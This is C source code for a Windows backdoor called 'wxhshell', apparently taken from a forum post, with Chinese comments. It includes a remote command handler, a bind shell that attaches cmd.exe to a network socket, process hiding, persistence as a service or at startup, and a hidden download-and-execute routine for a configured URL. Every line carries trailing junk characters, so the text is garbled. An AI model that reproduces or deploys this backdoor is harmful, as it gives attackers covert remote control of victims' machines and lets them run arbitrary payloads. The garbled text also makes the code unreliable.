    switch(cmd[0]) { "Ys_ \  
  $4DFgvy$  
  // 帮助 Vu_&~z7h  
  case '?': { Z "-ntx#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4pLQ"&>}80  
    break; xy$vYDAFw  
  } ]}p2Tp;1  
  // 安装 a_Z.J3  
  case 'i': { Yr5iZ~V$  
    if(Install()) _t$lcOT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $< A8gTJ  
    else N )'8o}E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I0I_vu  
    break; ^OsA+Ea\  
    } sP9^ IP  
  // 卸载 7X(rLd 6#  
  case 'r': { MhHr*!N"}  
    if(Uninstall()) 4,j4E@?pG9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tDEXm^B2Sv  
    else 9cVn>Fb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Km[]^;6  
    break; Y=5!QLV4  
    } ;:AG2zE!  
  // 显示 wxhshell 所在路径 / c +,  
  case 'p': { N{ : [/  
    char svExeFile[MAX_PATH]; #:]vUQ  
    strcpy(svExeFile,"\n\r");  yQ<6p3  
      strcat(svExeFile,ExeFile); yEE|e&#>  
        send(wsh,svExeFile,strlen(svExeFile),0); hm*Th  
    break; 2~#ZO?jE6  
    } ]&&I|K_  
  // 重启 8o!  
  case 'b': { )WaX2uDA?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _u#/u2<  
    if(Boot(REBOOT)) Qe7" Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7J0 ^N7"o  
    else { !8wZw68"  
    closesocket(wsh); +A'}PXm*tu  
    ExitThread(0); v>JB rIb$  
    } 'u4}t5Bu5  
    break; `K$:r4/[  
    } (xucZ  
  // 关机 Bx\#`Y  
  case 'd': { }W- K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d 8xk&za  
    if(Boot(SHUTDOWN)) :jZ*,d%1={  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X4Pm)N `  
    else { C*"Rd   
    closesocket(wsh); +i:  E  
    ExitThread(0); gUks O!7^1  
    } Rg%R/p)C  
    break; hp?ad  
    } &i4 (s%z#  
  // 获取shell  rE/}hHU  
  case 's': { =@bXGMsV!  
    CmdShell(wsh); Q{%HW4lg  
    closesocket(wsh); Q.j-C}a  
    ExitThread(0); 3m-edpH  
    break; 1h#w"4  
  } I'KR'1z 9  
  // 退出 R=2 gtW"r  
  case 'x': { #]?,gwvTf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #n U@hOfg  
    CloseIt(wsh); Wwn5LlJ^  
    break; 0z#l0-NdQ  
    } k$9Gn9L%  
  // 离开 2N6Pa(6  
  case 'q': { [{6&.v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vG'vgUo  
    closesocket(wsh); &M!4]p ow  
    WSACleanup(); )OARO  
    exit(1); -=-x>(pRW7  
    break; Jm{As*W>  
        } I T*fjUY&  
  } N&R '$w  
  } U92B+up-  
5pNvzw  
  // 提示信息 OGSEvfW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UMHuIA:%U  
} m _t(rn~f6  
  } |_Naun=+~  
f)&`mqeE  
  return; iqU.a/~y  
} w3>Y7vxiz`  
,gFL Wb`B'  
// shell模块句柄 HB/ _O22  
int CmdShell(SOCKET sock) &%_y6}xIw  
{ "Qiq/"h  
STARTUPINFO si; #Pe\Z/  
ZeroMemory(&si,sizeof(si)); kphy7> Km  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zJB+C=]D7H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Li?{e+g  
PROCESS_INFORMATION ProcessInfo; @Z3[ c[D)9  
char cmdline[]="cmd"; &lXx0 "-$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u;l6sdo  
  return 0; Apw-7*/  
} )_x8?:lv  
30gZ_ 8C>}  
// 自身启动模式 C%x(`S^/  
int StartFromService(void) a=}">=]7  
{ x|~D(zo  
typedef struct `Cb<KAaCH  
{ K8Kz  
  DWORD ExitStatus; 2i4Dal  
  DWORD PebBaseAddress; K'{wncumQ  
  DWORD AffinityMask; MJ*oeI!.=  
  DWORD BasePriority; n@ yd{Rc  
  ULONG UniqueProcessId; 9M-NItFos  
  ULONG InheritedFromUniqueProcessId; Y(Z(dV!Po  
}   PROCESS_BASIC_INFORMATION; rRA_'t;uK  
2WbZ>^:Nsk  
PROCNTQSIP NtQueryInformationProcess; `9G$p|6  
+v`^_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z3u""oM/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H|(*$!~e  
Y/:Q|HnXQ  
  HANDLE             hProcess; T$>=+U  
  PROCESS_BASIC_INFORMATION pbi; IdC k  
nKZRq&~^E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q)zu}m  
  if(NULL == hInst ) return 0; 45!`g+)  
S+e-b'++?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0SGczgg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ( .6tz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R - ?0k:  
%_i0go,^  
  if (!NtQueryInformationProcess) return 0; hQW#a]]V:  
$[^ KCNB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =t>`< T|(  
  if(!hProcess) return 0; c_DB^M!h  
K{[Fa,]'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >Y*iy  
!O%f)v?  
  CloseHandle(hProcess); P[J qJi/H  
+wf& L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (cqA^.Td  
if(hProcess==NULL) return 0; H$($l<G9C  
.q;RNCUt  
HMODULE hMod; XN0RT>@  
char procName[255]; 802]M  
unsigned long cbNeeded; =f{Z~`3  
N;Gf,pE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tl0+Bq  
]cO$E=W  
  CloseHandle(hProcess); -7A!2mRiz  
2Dwt4V  
if(strstr(procName,"services")) return 1; // 以服务启动 -7Y'6''~W.  
sO f)/19  
  return 0; // 注册表启动 A$Jn3Xd~!  
} J4R  
5SPl#*W  
// 主模块 0ju wDd  
int StartWxhshell(LPSTR lpCmdLine) }M"'K2_Z  
{ 0"D?.E"$r  
  SOCKET wsl; #ui%=ja[:~  
BOOL val=TRUE; >5z`SZf  
  int port=0; HN&vk/[  
  struct sockaddr_in door; X|QX1dl  
w|U@jr*H]  
  if(wscfg.ws_autoins) Install(); a1Y_0  
J~ gkGso  
port=atoi(lpCmdLine); |GLn 9vw7S  
eB1eUK>  
if(port<=0) port=wscfg.ws_port; SUQ}^gn]  
Vm5P@RU$w;  
  WSADATA data; Yhv`IV-s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rq|czQ  
oCru5F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $@ #G+QQ_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (^OC%pc  
  door.sin_family = AF_INET; 6T'43h. :  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3By>t!~Q  
  door.sin_port = htons(port); Jut'xA2Dr  
0z2R`=)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E4fvYV_ra  
closesocket(wsl); W9V=hQ2  
return 1; , ?s k J  
} 9?mOLDu}Q0  
S g_?.XZc[  
  if(listen(wsl,2) == INVALID_SOCKET) { AXv3jH,HF  
closesocket(wsl); 7*8nUq  
return 1; oeqJ?1=!  
} w})&[d  
  Wxhshell(wsl); XS~w_J#q  
  WSACleanup(); b|pNc'u:Cn  
C@:N5},]  
return 0; 5<'Jd3N{&  
u*YuU%H=  
} L bK1CGyA  
7}HA_@[  
// 以NT服务方式启动 ,2L,>?r6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tYxlM!  
{ T)?@E/VaS  
DWORD   status = 0; WlJRKM2  
  DWORD   specificError = 0xfffffff; <zWQ[^  
Bf}0'MK8zQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r -DD*'R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4xC6#:8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j1C0LP8  
  serviceStatus.dwWin32ExitCode     = 0; g&20F`.N*>  
  serviceStatus.dwServiceSpecificExitCode = 0; ~#xs `@{s  
  serviceStatus.dwCheckPoint       = 0; ^K@ GK  
  serviceStatus.dwWaitHint       = 0; R5YtCw]i=  
Q0cf]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^|axtVhMO  
  if (hServiceStatusHandle==0) return; G`<1>%" F  
\>CBam8d  
status = GetLastError(); wB 0WR  
  if (status!=NO_ERROR) ^{,}, i  
{ W2V@\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t jBv{  
    serviceStatus.dwCheckPoint       = 0; < 2r#vmM  
    serviceStatus.dwWaitHint       = 0; H  "/e%  
    serviceStatus.dwWin32ExitCode     = status; w@D@,q'x  
    serviceStatus.dwServiceSpecificExitCode = specificError; >}`1'su  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iDe0 5f1R  
    return; -cS4B//IK8  
  } 2yg'?tpj  
A=>6$L];'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t"m`P1  
  serviceStatus.dwCheckPoint       = 0; ':fbf7EL<  
  serviceStatus.dwWaitHint       = 0; uX!y,a/"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HAOrwJFqU  
} 0R{R=r]  
X>YOo~yS5  
// 处理NT服务事件,比如:启动、停止 CKK5+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W;*vcbP  
{ '<j p.sZQ  
switch(fdwControl) ? 9M+fi  
{ B,qZwc|  
case SERVICE_CONTROL_STOP: yD'h5)yu  
  serviceStatus.dwWin32ExitCode = 0; T</gWW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cnO4N UDv  
  serviceStatus.dwCheckPoint   = 0; HCZ%DBU96  
  serviceStatus.dwWaitHint     = 0; iONql7S @  
  {  y3$\ m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r]vBr^kq  
  }  Z~:lfCK`  
  return; lP &%5y;  
case SERVICE_CONTROL_PAUSE: Hw3 ES  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; , 0ja_  
  break; d:ajD  
case SERVICE_CONTROL_CONTINUE: uy28=B E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8i~'~/x  
  break; w6Ny>(T/  
case SERVICE_CONTROL_INTERROGATE: 0L-g'^nn  
  break; k3eN;3#&  
}; zm.sX~j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U*l>8  
} J*k=|+[  
>I ; #BE3  
// 标准应用程序主函数 u8\QhUk'G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0pG(+fN_9  
{ "lya|;  
.=<pU k 3G  
// 获取操作系统版本 ) FsSXnZL  
OsIsNt=GetOsVer(); $G.|5sEk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %}MM+1eu  
)O'<jwp$  
  // 从命令行安装 f;6d/?=~  
  if(strpbrk(lpCmdLine,"iI")) Install(); yL,B\YCf8  
1Vvx@1  
  // 下载执行文件 Q |r1.  
if(wscfg.ws_downexe) { TuR?r`P%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FC .-u"V  
  WinExec(wscfg.ws_filenam,SW_HIDE); OF}_RGKg3  
} TW? MS em  
)W3l{T(  
if(!OsIsNt) { a];i4lt(c  
// 如果时win9x,隐藏进程并且设置为注册表启动 vUExS Z^  
HideProc(); O\{_)L  
StartWxhshell(lpCmdLine); zL}DLfy>R  
} uU"s50m  
else K~N[^pF  
  if(StartFromService()) H*<dte<  
  // 以服务方式启动 U}TQXYAg  
  StartServiceCtrlDispatcher(DispatchTable); wYM{x!D  
else J~6*d,Ry`  
  // 普通方式启动 :36^^Wm  
  StartWxhshell(lpCmdLine); }e|]G,NZO  
` &DiM@Sm  
return 0; ;f*xOdi*k  
}
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只看该作者 1 发表于: 2006-10-10
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